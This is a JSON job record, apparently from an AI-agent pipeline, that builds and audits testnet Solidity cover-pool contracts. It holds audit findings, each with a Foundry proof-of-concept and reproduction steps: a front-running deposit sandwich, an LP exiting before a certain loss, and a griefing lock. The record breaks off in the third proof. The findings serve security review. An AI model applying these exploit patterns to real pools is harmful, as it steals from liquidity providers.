{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"f31056b6-bfd7-4e25-afd1-461d53d2a210","kind":"shape:chain","nodes":[{"acceptedSubmissionHash":"0865e7e0eca9b3239f3d83b4748bec543fddd287e2dc5caf12ddd6b9b44ccdac","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"9d3a26623d2340354dfd7cde13b0e8c827e35b8ace4635cd23a178ca161776b7","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"9a2bacaae7d01dd12d512b7b883f9065001d8acaa3b62d1d66c73937b7db97f7","dependsOn":["build_contract_project","write_foundry_tests","manifest","audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"ed98d84754fb44d4a618170d5f4e27bd0ab976650127ddde02ca293d9eef71ee","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"cff8bc088b9cecac6027ed4fa49baaff50ef02a8025f0ed5a202509528e7b314","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"1cf07eaf4d57ad5d11243a36ae561cd6357cb83d25d331b63374b21841f7fa84","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"15b04fc8f60521936b9e2b37c09a804685ec689fc98cd5b04510d986d3106a15","skillId":"build-contract-project","tools":[]},"key":"build_contract_project","kind":"code","role":"implement","skillHash":"15b04fc8f60521936b9e2b37c09a804685ec689fc98cd5b04510d986d3106a15","skillId":"build-contract-project","state":"accepted"},{"acceptedSubmissionHash":"777ebaf669e891e32cf307120334f85ae1f835b05732e2287c7ecd8d7e8f911a","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"tools":[]},"key":"manifest","kind":"code","role":"integrate","skillHash":null,"skillId":null,"state":"accepted"},{"acceptedSubmissionHash":"39faaa5472e159e1db9999f5a05ab0adbc426fd013ef79a0db230825fe4145a4","dependsOn":["build_contract_project"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"606842ccca0e7c5d3017a54684625438eab9b351eb51dcf0cf88c43d1ea41464","skillId":"write-foundry-tests","subagents":4,"tools":[]},"key":"write_foundry_tests","kind":"code","role":"tests","skillHash":"606842ccca0e7c5d3017a54684625438eab9b351eb51dcf0cf88c43d1ea41464","skillId":"write-foundry-tests","state":"accepted"}],"objective":"evm_contracts on Sepolia. SqueekFi zero-work round COVER (not \"insurance\"). Read-only SqueekCore 0x74665dAecA35A2303e767E76a2FF1FB6F93e119f. Rounds after settledThroughRound are unknown. No submitRounds/proxies/upgrade. Deploy: MockSQK(mSQK,mint onlyOwner) → PremiumModel → CoverPool → CoreReader(core) → PolicyBook. Wire with $owner and $contract:Name. N∈{6,12,24,144}; T∈{30%,50%,70%}; startRound≥settled+1 & ≥current+1; block open if paused. Pay C mSQK iff zeroRounds/N≥T; else keep premium. Anyone settle when frontier≥end. Missing active round = zero-work. LP pool with reserved; simple premium table + utilization. Foundry tests + README/THREATS/LAUNCH.md/manifest. No mainnet, UI, keepers, real SQK.\n\nToken name: SQI\nTotal supply: 100000000\nToken symbol: SQI","parentJobId":null,"planHash":"06c44c1b7aa7cccfc9d5808fb0d7feded201dd84da606c138451b0b3880fa16d","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"f31056b6-bfd7-4e25-afd1-461d53d2a210","publication":{"commit":null,"deliveredAt":null,"repoUrl":"https://github.com/identity-md-launches/launch-2814-sqi"},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52180","feedbackHash":"421a54517d734b9e3d5b72fef72364e4a5c547e5af01bd0e9931f061df26d8cf","nodeKey":"audit_economics","submissionHash":"0865e7e0eca9b3239f3d83b4748bec543fddd287e2dc5caf12ddd6b9b44ccdac","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"54149","feedbackHash":"d3a7272dd3cc10e03e53616ad29fc77a71f3f7915e278959e10ed113f9f67aa9","nodeKey":"audit_flow","submissionHash":"9d3a26623d2340354dfd7cde13b0e8c827e35b8ace4635cd23a178ca161776b7","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51039","feedbackHash":"0973c810a85c83228109da872234af8d1b7ff42107f35c3e87371218aaccd411","nodeKey":"audit_judge","submissionHash":"9a2bacaae7d01dd12d512b7b883f9065001d8acaa3b62d1d66c73937b7db97f7","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52600","feedbackHash":"207a09c340b956a171808267920708365d653de7ba8436aa7952701f9d32abdf","nodeKey":"audit_judge","submissionHash":"1728dc448f692aaebf9e85cc548d86c62c0c2c056e61559cbbe80b08c22c9f83","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52286","feedbackHash":"93439fe7584b947180cbfa6389301dadda7dc47b72b35e78b3549cfe810b806a","nodeKey":"audit_judge","submissionHash":"3102263c87ece9f814696c5741df61c1ccb70e9ebaa284094d569031e3f35e6d","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51367","feedbackHash":"45a552eada574589f3f866e51d1ba3c897208edea7b3d1042702817721aa7185","nodeKey":"audit_math","submissionHash":"ed98d84754fb44d4a618170d5f4e27bd0ab976650127ddde02ca293d9eef71ee","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52396","feedbackHash":"3224ee93e144154253fb215d0d7d0a7bfc9c2e6e6b3844b5713190457e68c7d6","nodeKey":"audit_permissions","submissionHash":"cff8bc088b9cecac6027ed4fa49baaff50ef02a8025f0ed5a202509528e7b314","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52681","feedbackHash":"74d87ed33333682d15e82b396a5e27c968370a33b5ec6d3d1305c13b28993505","nodeKey":"build_contract_project","submissionHash":"b847c5550b61dc47ab709a640639384980a705328ea74738eab29e3de0cad5b0","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52157","feedbackHash":"45f6e914b04ce97dbacf9afa71cf559959c1efbe357e7afde255a5727b4c53d5","nodeKey":"build_contract_project","submissionHash":"1cf07eaf4d57ad5d11243a36ae561cd6357cb83d25d331b63374b21841f7fa84","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51320","feedbackHash":"45e470de704c99bf8ffc804f4ff8ade1ee716be37982814efa38b25580e78a78","nodeKey":"build_contract_project","submissionHash":"c1e6d57a6a708cfc832f48e2b0e0d3fa08b35413b394aae0defbfe2a20876666","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51196","feedbackHash":"db3ab865982b4b1ffd3b24dbbc5cd15717dcdcf84d88b0e8135cdb20e47a95c4","nodeKey":"manifest","submissionHash":"777ebaf669e891e32cf307120334f85ae1f835b05732e2287c7ecd8d7e8f911a","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"50963","feedbackHash":"2eec00bdf544dea83f66d0e683ab323de90735cfd7c9d7149647cbb83feb3b45","nodeKey":"manifest","submissionHash":"447e2143c08d6e85c517bec667688a9ed6b6a64e34928fa70c5a5a2dd79b640e","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52161","feedbackHash":"e1b7a3340fd00cb77504336656865ac29bc0d9f07b4aa5ab43922a5d713954f2","nodeKey":"manifest","submissionHash":"06ef88527a422add137d09b4f52ee9838c1bed6f34778ca85ef4c8443504b349","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"53911","feedbackHash":"b4f379bd4467e926e2d43a4a29ecbae0d098ca64d9165af5c625c864c012394b","nodeKey":"write_foundry_tests","submissionHash":"39faaa5472e159e1db9999f5a05ab0adbc426fd013ef79a0db230825fe4145a4","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"52521","feedbackHash":"e32d88c1184bb4b02fa6d85e49a84ed7bc943488bcc1d5aaa972cdfb88e61745","nodeKey":"write_foundry_tests","submissionHash":"f717396feb8ac379542de8f1a1bf1758f1333a8ae982a205713575e7d4ad5256","tag1":"verification:checks","tag2":"acceptance-v2","value":1},{"agentId":"51180","feedbackHash":"3611cb126ef07e91b68eb3ed7b2d0d345b35a12c7ef9ab6c864981ac0736c25d","nodeKey":"write_foundry_tests","submissionHash":"4a1372cbbe22f61584817c6de599065b3dc44eeb0bbcf6bda9f7e4258b643169","tag1":"verification:checks","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"0f33649981b82cb5f8fc74e051f6cd93fad509b2cfccd80d82930a9a97f34480","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":"e9735a381ff6579ea5aa5cc8fa4c9dbe4f10cc504fce76d783e1a6ce21e26c5a","device":"ca075d17c94a854b","findings":[],"hash":"06ef88527a422add137d09b4f52ee9838c1bed6f34778ca85ef4c8443504b349","nodeId":"9fb13720-b5b2-4a47-b60a-9c037b60d44c","outcome":"completed","summary":"The manifest is correct as it stands and the earlier finding is settled. No file outside test/scratch was changed.\n\n**What I verified**\n\n- **Finding c4bed3cf (MockSQK owned by factory/IMD) is fixed.** The real cause was the removed chain-id guard. No file in src or test references SepoliaOnly or chainid any more. My scratch test mirrors the protected probe: one factory call deploys all five contracts via CREATE2 on an empty chain with a foreign tx.origin, on chain ids 31337, 1 and 11155111. Every Ownable contract reports the launch owner, never the factory or the origin, and neither holds any SQI.\n- **launch.json matches the accepted constructors.** MockSQK(owner), PremiumModel(owner), CoverPool(owner, token), CoreReader(core) and PolicyBook(owner, token, premiumModel, pool, reader) are listed in dependency order with $owner and backward $contract references. The only static word is the SqueekCore address, which CoreReader stores without calling it, so the empty-chain rehearsal passes.\n- **Schema shape checked by script.** Only the keys kind, contracts and notes are present. Names are unique identifiers under 32 characters, every argument is a string, and notes are under 4000 characters.\n- **Token terms match the brief.** The mock mints 100000000 SQI, name and symbol SQI, to $owner, and only the owner can mint more.\n\n**Test results with the verifier's fuzz seed**\n\n```\nRan 12 test suites: 79 tests passed, 0 failed, 0 skipped\n```\n\nThat count includes the three scratch rehearsal tests, which are not submitted. The working tree is clean, so the deliverable is the existing launch.json unchanged.","treeHash":"42db4f97bbd075c14981067a5a407c3fc8f1517c","usage":{"cachedInputTokens":181734,"inputTokens":194,"model":"claude-fable-5-1","outputTokens":5107,"runtime":"claude","turns":10,"wallClockMs":117963}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"c722c2e9ac9aa084","findings":[{"citation":"resolved","description":"lockCover credits the whole premium to pool NAV the moment a policy is sold, and redeem() lets any LP leave in the same block as long as free assets remain. A depositor who sees a pending openPolicy can deposit just before it, take a pro-rata share of the premium, and redeem right after, bearing none of the cover risk. Because PremiumModel prices utilization against pool.totalAssets(), the front-run deposit also lowers the premium the buyer pays, so the LPs who actually carry the reservation are paid less than the quoted price. Economic Security (extract value atomically / sandwich price-dependent operations) and Trust Gap seam economics x asymmetry. THREATS.md notes that late deposits participate in losses but not that same-block depositors extract premiums. Fix options that keep the design: credit premiums to NAV linearly over the policy window or hold them in a pending bucket until settlement, and/or add a short withdrawal delay so a deposit cannot exit in the block it entered.","line":144,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core fixture: sparse active records, settable frontier and batch limit.\ncontract EconCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier;\n    uint16 public maxRoundsPerBatch = 16;\n    RoundCheckpoint[] private _records;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setMaxRoundsPerBatch(uint16 value) external {\n        maxRoundsPerBatch = value;\n    }\n\n    function record(uint64 roundId, uint64 work) external {\n        LedgerPosition memory last = _positionAt(type(uint64).max);\n        _records.push(\n            RoundCheckpoint(\n                roundId,\n                last.cumulativeWork + work,\n                last.cumulativeBlockUnits + uint96(work) * 1e9,\n                10_875,\n                keccak256(abi.encode(roundId, work))\n            )\n        );\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = maxRoundsPerBatch;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n        result.blockUnitsPerBlock = 1e9;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        LedgerPosition memory position = _positionAt(frontier);\n        result.settledThroughRound = frontier;\n        result.cumulativeWork = position.cumulativeWork;\n        result.cumulativeBlockUnits = position.cumulativeBlockUnits;\n        result.workPerThousandBlocks = position.workPerThousandBlocks;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory result)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier, \"core: bounds\");\n        require(maxRecords <= maxRoundsPerBatch, \"core: batch\");\n        result.start = _positionAt(afterRound);\n        result.certifiedThroughRound = throughRound;\n        RoundCheckpoint[] memory records = new RoundCheckpoint[](maxRecords);\n        uint256 count;\n        for (uint256 i; i < _records.length; ++i) {\n            RoundCheckpoint memory checkpoint = _records[i];\n            if (checkpoint.roundId <= afterRound) continue;\n            if (checkpoint.roundId > throughRound) break;\n            if (count == maxRecords) {\n                result.certifiedThroughRound = checkpoint.roundId - 1;\n                break;\n            }\n            records[count++] = checkpoint;\n        }\n        assembly (\"memory-safe\") {\n            mstore(records, count)\n        }\n        result.rounds = records;\n        result.end = _positionAt(result.certifiedThroughRound);\n    }\n\n    function _positionAt(uint64 round) private view returns (LedgerPosition memory result) {\n        result.workPerThousandBlocks = 10_875;\n        for (uint256 i = _records.length; i != 0; --i) {\n            RoundCheckpoint memory checkpoint = _records[i - 1];\n            if (checkpoint.roundId <= round) {\n                return LedgerPosition(\n                    checkpoint.cumulativeWork, checkpoint.cumulativeBlockUnits, checkpoint.workPerThousandBlocks\n                );\n            }\n        }\n    }\n}\n\nabstract contract EconBase is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EconCore internal core;\n\n    function setUp() public virtual {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EconCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        uint16[4] memory durations = [uint16(6), 12, 24, 144];\n        uint16[3] memory thresholds = [uint16(3000), 5000, 7000];\n        for (uint256 i; i < 4; ++i) {\n            for (uint256 j; j < 3; ++j) {\n                model.setRate(durations[i], thresholds[j], 500, 1000);\n            }\n        }\n        token.mint(lp, 100_000 ether);\n        token.mint(alice, 100_000 ether);\n        token.mint(bob, 100_000 ether);\n        vm.stopPrank();\n        _deposit(lp, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        shares = pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function _open(address buyer, uint64 start, uint16 rounds, uint16 threshold, uint256 cover)\n        internal\n        returns (uint256 id, uint256 premium)\n    {\n        (premium,) = book.quote(start, rounds, threshold, cover);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        id = book.openPolicy(start, rounds, threshold, cover, premium, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function _certify(uint64 end) internal {\n        core.setFrontier(end);\n        uint256 endTime = uint256(GENESIS) + uint256(end) * 600;\n        if (endTime > block.timestamp) vm.warp(endTime);\n    }\n}\n\n/// Fails now: a depositor who sandwiches openPolicy exits in the same block with more than deposited.\ncontract ProofJitPremium is EconBase {\n    function test_jitDepositCannotExtractPremiumRiskFree() public {\n        (uint256 quoted,) = book.quote(START, 6, 5000, 500 ether);\n        assertEq(quoted, 50 ether);\n        uint256 bobShares = _deposit(bob, 9000 ether);\n        vm.startPrank(alice);\n        token.approve(address(book), quoted);\n        book.openPolicy(START, 6, 5000, 500 ether, quoted, block.timestamp);\n        vm.stopPrank();\n        // Bob exits in the same block. Either the exit is refused or it returns no more than he put in.\n        vm.prank(bob);\n        try pool.redeem(bobShares, 1) returns (uint256 got) {\n            assertLe(got, 9000 ether, \"same-block exit must not profit from the premium\");\n        } catch {}\n    }\n}","reproduction":"State: lp deposited 1000e18; rates base 500 bps, slope 1000 bps. 1) book.quote(START,6,5000,500e18) = 50e18 (rate 500+500). 2) bob deposits 9000e18 (pool.deposit(9000e18,1)). 3) alice's openPolicy(START,6,5000,500e18,maxPremium=50e18,deadline) executes: utilization is now 500/10000 so rate = 550 bps and she pays 27.5e18 instead of 50e18. 4) bob calls pool.redeem(allShares,1) in the same block: receives 9024.749999999999999999e18, a risk-free gain of 24.75e18 (90% of the premium). lp's share value is 1002.75e18 instead of 1050e18 while carrying the full 500e18 reservation alone. Expected: a depositor who is present only for the sale block should not be able to leave with more than deposited, and the buyer's price should not be depressed by capital that leaves immediately. Reproduced by test/scratch/ProofJitPremium.t.sol (fails on current code).","severity":"medium","snippet":"        _assets += premium;","title":"JIT deposit sandwich around openPolicy captures the premium and lowers the buyer's price at existing LPs' expense"},{"citation":"resolved","description":"settle() requires the certified frontier to reach endRound, but the trigger condition zeroRounds*10000 >= N*T can be met long before that: for N=6,T=30% two certified zero rounds decide the payout with four rounds (40 minutes) still to certify; for N=144 the window can be most of a day, and anyone watching the chain off-chain knows the outcome even earlier because certification lags (the pinned snapshot shows a frontier of 1973 at current round 3223). During that window redeem() only checks free assets, so an LP can withdraw at the pre-loss share price while the reserved cover is still booked as LP equity. The loss then falls entirely on LPs who stay, and anyone depositing in that window buys into a certain loss. Invariant guide: break commutativity (redeem-then-settle vs settle-then-redeem). THREATS.md states that share prices do not discount unresolved claims; this shows the concrete transfer it allows. A fix within the design: freeze or haircut shares that were present when a policy was sold until it settles (per-policy LP epoch), or mark NAV down once zeroRounds over certified rounds already meets the threshold (a view can compute this from the same pages).","line":121,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core fixture: sparse active records, settable frontier and batch limit.\ncontract EconCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier;\n    uint16 public maxRoundsPerBatch = 16;\n    RoundCheckpoint[] private _records;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function setMaxRoundsPerBatch(uint16 value) external {\n        maxRoundsPerBatch = value;\n    }\n\n    function record(uint64 roundId, uint64 work) external {\n        LedgerPosition memory last = _positionAt(type(uint64).max);\n        _records.push(\n            RoundCheckpoint(\n                roundId,\n                last.cumulativeWork + work,\n                last.cumulativeBlockUnits + uint96(work) * 1e9,\n                10_875,\n                keccak256(abi.encode(roundId, work))\n            )\n        );\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxWorkPerRound = 10_000;\n        result.maxRoundsPerBatch = maxRoundsPerBatch;\n        result.initialWorkPerThousandBlocks = 10_875;\n        result.targetBlocksPerActiveRound = 40;\n        result.difficultySmoothingRounds = 30;\n        result.blockUnitsPerBlock = 1e9;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        LedgerPosition memory position = _positionAt(frontier);\n        result.settledThroughRound = frontier;\n        result.cumulativeWork = position.cumulativeWork;\n        result.cumulativeBlockUnits = position.cumulativeBlockUnits;\n        result.workPerThousandBlocks = position.workPerThousandBlocks;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256 maxRecords)\n        external\n        view\n        returns (RoundPage memory result)\n    {\n        require(afterRound <= throughRound && throughRound <= frontier, \"core: bounds\");\n        require(maxRecords <= maxRoundsPerBatch, \"core: batch\");\n        result.start = _positionAt(afterRound);\n        result.certifiedThroughRound = throughRound;\n        RoundCheckpoint[] memory records = new RoundCheckpoint[](maxRecords);\n        uint256 count;\n        for (uint256 i; i < _records.length; ++i) {\n            RoundCheckpoint memory checkpoint = _records[i];\n            if (checkpoint.roundId <= afterRound) continue;\n            if (checkpoint.roundId > throughRound) break;\n            if (count == maxRecords) {\n                result.certifiedThroughRound = checkpoint.roundId - 1;\n                break;\n            }\n            records[count++] = checkpoint;\n        }\n        assembly (\"memory-safe\") {\n            mstore(records, count)\n        }\n        result.rounds = records;\n        result.end = _positionAt(result.certifiedThroughRound);\n    }\n\n    function _positionAt(uint64 round) private view returns (LedgerPosition memory result) {\n        result.workPerThousandBlocks = 10_875;\n        for (uint256 i = _records.length; i != 0; --i) {\n            RoundCheckpoint memory checkpoint = _records[i - 1];\n            if (checkpoint.roundId <= round) {\n                return LedgerPosition(\n                    checkpoint.cumulativeWork, checkpoint.cumulativeBlockUnits, checkpoint.workPerThousandBlocks\n                );\n            }\n        }\n    }\n}\n\nabstract contract EconBase is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lp = makeAddr(\"lp\");\n    address internal alice = makeAddr(\"alice\");\n    address internal bob = makeAddr(\"bob\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EconCore internal core;\n\n    function setUp() public virtual {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EconCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        uint16[4] memory durations = [uint16(6), 12, 24, 144];\n        uint16[3] memory thresholds = [uint16(3000), 5000, 7000];\n        for (uint256 i; i < 4; ++i) {\n            for (uint256 j; j < 3; ++j) {\n                model.setRate(durations[i], thresholds[j], 500, 1000);\n            }\n        }\n        token.mint(lp, 100_000 ether);\n        token.mint(alice, 100_000 ether);\n        token.mint(bob, 100_000 ether);\n        vm.stopPrank();\n        _deposit(lp, 1000 ether);\n    }\n\n    function _deposit(address who, uint256 amount) internal returns (uint256 shares) {\n        vm.startPrank(who);\n        token.approve(address(pool), amount);\n        shares = pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n\n    function _open(address buyer, uint64 start, uint16 rounds, uint16 threshold, uint256 cover)\n        internal\n        returns (uint256 id, uint256 premium)\n    {\n        (premium,) = book.quote(start, rounds, threshold, cover);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        id = book.openPolicy(start, rounds, threshold, cover, premium, block.timestamp);\n        vm.stopPrank();\n    }\n\n    function _certify(uint64 end) internal {\n        core.setFrontier(end);\n        uint256 endTime = uint256(GENESIS) + uint256(end) * 600;\n        if (endTime > block.timestamp) vm.warp(endTime);\n    }\n}\n\n/// Fails now: an LP exits after the payout is certain but before settlement is possible,\n/// leaving the other LP with the whole loss.\ncontract ProofLpExitBeforeLoss is EconBase {\n    function test_lossIsSharedByLpsPresentWhenCoverWasSold() public {\n        uint256 bobShares = _deposit(bob, 1000 ether);\n        (uint256 id, uint256 premium) = _open(alice, START, 6, 3000, 1000 ether);\n        assertEq(premium, 100 ether);\n        // Rounds START and START+1 certified with no work: 2 >= ceil(6 * 30%) so C is owed.\n        _certify(START + 1);\n        vm.expectRevert(abi.encodeWithSelector(CoreReader.UnknownRounds.selector, START + 5, START + 1));\n        book.settle(id);\n        vm.prank(bob);\n        try pool.redeem(bobShares, 1) {} catch {}\n        _certify(START + 5);\n        assertEq(book.settle(id), 1000 ether);\n        // Both LPs funded the 1000 cover equally; each should carry about 500 of the loss.\n        assertGe(pool.previewRedeem(pool.sharesOf(lp)), 500 ether, \"lp left holding the whole loss\");\n    }\n}","reproduction":"State: lp and bob each deposited 1000e18 (equal shares). alice opens N=6,T=3000,cover=1000e18 at START: premium 100e18, assets 2100e18, reserved 1000e18. Core certifies START and START+1 with no active records (frontier = START+1). book.settle(id) reverts UnknownRounds(START+5, START+1) even though 2 zero rounds already satisfy 2*10000 >= 6*3000. bob calls pool.redeem(allBobShares,1) and receives 1049.999999999999999999e18 (free assets were 1100e18). Later frontier reaches START+5 and settle pays 1000e18. lp's remaining shares are worth 50.000000000000000001e18. Expected: both LPs funded the cover equally and should each carry about 500e18 of the loss (550e18 each remaining). Actual: bob leaves with +50e18, lp loses 950e18. Reproduced by test/scratch/ProofLpExitBeforeLoss.t.sol (fails on current code).","severity":"medium","snippet":"        if (assets > freeAssets()) revert InsufficientFreeAssets();","title":"Outcome becomes certain before settlement is allowed; informed LPs exit free assets and shift the whole loss to remaining LPs"},{"citation":"resolved","description":"openPolicy only requires startRound to exceed the frontier and the current round. There is no horizon cap, and the premium table does not depend on how far away the window is, so a 6-round policy starting at round 2^64-10 costs the same as one starting next round while reserving the cover for about 3.5e14 years. Core can never certify that window, settle() can never run, and the reservation can never be released (there is no cancellation by design). Cheapest griefing vector in the Economic Security guide: for base 500 + slope 1000 bps the attacker pays 15% of the pool to make 100% of LP principal unredeemable forever; with the owner's chosen rates the cost is base+slope at most. Also an Invariant degeneration: freeAssets can be driven to the premium alone. THREATS.md records this as a known limitation; it remains unmitigated and is the only path to a permanent lock that needs no Core failure. Minimal fix preserving the design: bound startRound to currentRound + MAX_HORIZON (for example a few thousand rounds), and/or price time-to-start into the premium.","line":105,"path":"src/PolicyBook.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core fixture: sparse active records, settable frontier and batch limit.\ncontract EconCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public 